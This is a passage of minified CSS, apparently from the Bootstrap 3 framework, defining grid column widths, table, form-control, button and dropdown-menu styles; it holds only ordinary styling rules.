(min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-1{width:8.33333%}.col-lg-2{width:16.66667%}.col-lg-3{width:25%}.col-lg-4{width:33.33333%}.col-lg-5{width:41.66667%}.col-lg-6{width:50%}.col-lg-7{width:58.33333%}.col-lg-8{width:66.66667%}.col-lg-9{width:75%}.col-lg-10{width:83.33333%}.col-lg-11{width:91.66667%}.col-lg-12{width:100%}.col-lg-pull-0{right:auto}.col-lg-pull-1{right:8.33333%}.col-lg-pull-2{right:16.66667%}.col-lg-pull-3{right:25%}.col-lg-pull-4{right:33.33333%}.col-lg-pull-5{right:41.66667%}.col-lg-pull-6{right:50%}.col-lg-pull-7{right:58.33333%}.col-lg-pull-8{right:66.66667%}.col-lg-pull-9{right:75%}.col-lg-pull-10{right:83.33333%}.col-lg-pull-11{right:91.66667%}.col-lg-pull-12{right:100%}.col-lg-push-0{left:auto}.col-lg-push-1{left:8.33333%}.col-lg-push-2{left:16.66667%}.col-lg-push-3{left:25%}.col-lg-push-4{left:33.33333%}.col-lg-push-5{left:41.66667%}.col-lg-push-6{left:50%}.col-lg-push-7{left:58.33333%}.col-lg-push-8{left:66.66667%}.col-lg-push-9{left:75%}.col-lg-push-10{left:83.33333%}.col-lg-push-11{left:91.66667%}.col-lg-push-12{left:100%}.col-lg-offset-0{margin-left:0}.col-lg-offset-1{margin-left:8.33333%}.col-lg-offset-2{margin-left:16.66667%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-4{margin-left:33.33333%}.col-lg-offset-5{margin-left:41.66667%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-7{margin-left:58.33333%}.col-lg-offset-8{margin-left:66.66667%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-10{margin-left:83.33333%}.col-lg-offset-11{margin-left:91.66667%}.col-lg-offset-12{margin-left:100%}}table{background-color:transparent}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}caption{padding-top:8px;padding-bottom:8px;color:#777}caption,th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered,.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover,.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;margin:0}fieldset,legend{padding:0;border:0}legend{display:block;width:100%;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;appearance:none}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=checkbox]:focus,input[type=file]:focus,input[type=radio]:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{padding-top:7px}.form-control,output{display:block;font-size:14px;line-height:1.42857;color:#555}.form-control{width:100%;height:34px;padding:6px 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{line-height:34px}.input-group-sm>.input-group-btn>input.btn[type=date],.input-group-sm>.input-group-btn>input.btn[type=datetime-local],.input-group-sm>.input-group-btn>input.btn[type=month],.input-group-sm>.input-group-btn>input.btn[type=time],.input-group-sm>input.form-control[type=date],.input-group-sm>input.form-control[type=datetime-local],.input-group-sm>input.form-control[type=month],.input-group-sm>input.form-control[type=time],.input-group-sm>input.input-group-addon[type=date],.input-group-sm>input.input-group-addon[type=datetime-local],.input-group-sm>input.input-group-addon[type=month],.input-group-sm>input.input-group-addon[type=time],.input-group-sm input[type=date],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],.input-group-sm input[type=time],input[type=date].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm,input[type=time].input-sm{line-height:30px}.input-group-lg>.input-group-btn>input.btn[type=date],.input-group-lg>.input-group-btn>input.btn[type=datetime-local],.input-group-lg>.input-group-btn>input.btn[type=month],.input-group-lg>.input-group-btn>input.btn[type=time],.input-group-lg>input.form-control[type=date],.input-group-lg>input.form-control[type=datetime-local],.input-group-lg>input.form-control[type=month],.input-group-lg>input.form-control[type=time],.input-group-lg>input.input-group-addon[type=date],.input-group-lg>input.input-group-addon[type=datetime-local],.input-group-lg>input.input-group-addon[type=month],.input-group-lg>input.input-group-addon[type=time],.input-group-lg input[type=date],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],.input-group-lg input[type=time],input[type=date].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg,input[type=time].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox-inline input[type=checkbox],.checkbox input[type=checkbox],.radio-inline input[type=radio],.radio input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm,.input-group-lg>.form-control-static.form-control,.input-group-lg>.form-control-static.input-group-addon,.input-group-lg>.input-group-btn>.form-control-static.btn,.input-group-sm>.form-control-static.form-control,.input-group-sm>.form-control-static.input-group-addon,.input-group-sm>.input-group-btn>.form-control-static.btn{padding-right:0;padding-left:0}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn,.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.input-group-sm>.input-group-btn>select.btn,.input-group-sm>select.form-control,.input-group-sm>select.input-group-addon,select.input-sm{height:30px;line-height:30px}.input-group-sm>.input-group-btn>select.btn[multiple],.input-group-sm>.input-group-btn>textarea.btn,.input-group-sm>select.form-control[multiple],.input-group-sm>select.input-group-addon[multiple],.input-group-sm>textarea.form-control,.input-group-sm>textarea.input-group-addon,select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn,.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.33333;border-radius:6px}.input-group-lg>.input-group-btn>select.btn,.input-group-lg>select.form-control,.input-group-lg>select.input-group-addon,select.input-lg{height:46px;line-height:46px}.input-group-lg>.input-group-btn>select.btn[multiple],.input-group-lg>.input-group-btn>textarea.btn,.input-group-lg>select.form-control[multiple],.input-group-lg>select.input-group-addon[multiple],.input-group-lg>textarea.form-control,.input-group-lg>textarea.input-group-addon,select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.33333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.33333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-group-lg>.form-control+.form-control-feedback,.input-group-lg>.input-group-addon+.form-control-feedback,.input-group-lg>.input-group-btn>.btn+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-group-sm>.form-control+.form-control-feedback,.input-group-sm>.input-group-addon+.form-control-feedback,.input-group-sm>.input-group-btn>.btn+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success.checkbox-inline label,.has-success.checkbox label,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.radio-inline label,.has-success.radio label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning.checkbox-inline label,.has-warning.checkbox label,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.radio-inline label,.has-warning.radio label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error.checkbox-inline label,.has-error.checkbox label,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.radio-inline label,.has-error.radio label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}.form-horizontal .form-group:after,.form-horizontal .form-group:before{display:table;content:" "}.form-horizontal .form-group:after{clear:both}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;margin-bottom:0;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;touch-action:manipulation;cursor:pointer;background-image:none;padding:6px 12px;font-size:14px;line-height:1.42857;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);opacity:.65;-webkit-box-shadow:none;box-shadow:none}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.btn-default.dropdown-toggle{color:#333;background-color:#e6e6e6;background-image:none;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.btn-default.dropdown-toggle.focus,.open>.btn-default.dropdown-toggle:focus,.open>.btn-default.dropdown-toggle:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.btn-primary.dropdown-toggle{color:#fff;background-color:#286090;background-image:none;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.btn-primary.dropdown-toggle.focus,.open>.btn-primary.dropdown-toggle:focus,.open>.btn-primary.dropdown-toggle:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled].focus,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.btn-success.dropdown-toggle{color:#fff;background-color:#449d44;background-image:none;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.btn-success.dropdown-toggle.focus,.open>.btn-success.dropdown-toggle:focus,.open>.btn-success.dropdown-toggle:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.disabled.focus,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.btn-info.dropdown-toggle{color:#fff;background-color:#31b0d5;background-image:none;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.btn-info.dropdown-toggle.focus,.open>.btn-info.dropdown-toggle:focus,.open>.btn-info.dropdown-toggle:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.disabled.focus,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled].focus,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.btn-warning.dropdown-toggle{color:#fff;background-color:#ec971f;background-image:none;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.btn-warning.dropdown-toggle.focus,.open>.btn-warning.dropdown-toggle:focus,.open>.btn-warning.dropdown-toggle:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.disabled.focus,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled].focus,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.btn-danger.dropdown-toggle{color:#fff;background-color:#c9302c;background-image:none;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.btn-danger.dropdown-toggle.focus,.open>.btn-danger.dropdown-toggle:focus,.open>.btn-danger.dropdown-toggle:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.disabled.focus,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled].focus,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-property:height,visibility;transition-property:height,visibility;-webkit-transition-duration:.35s;transition-duration:.35s;-webkit-transition-timing-function:ease;transition-timing-function:ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom 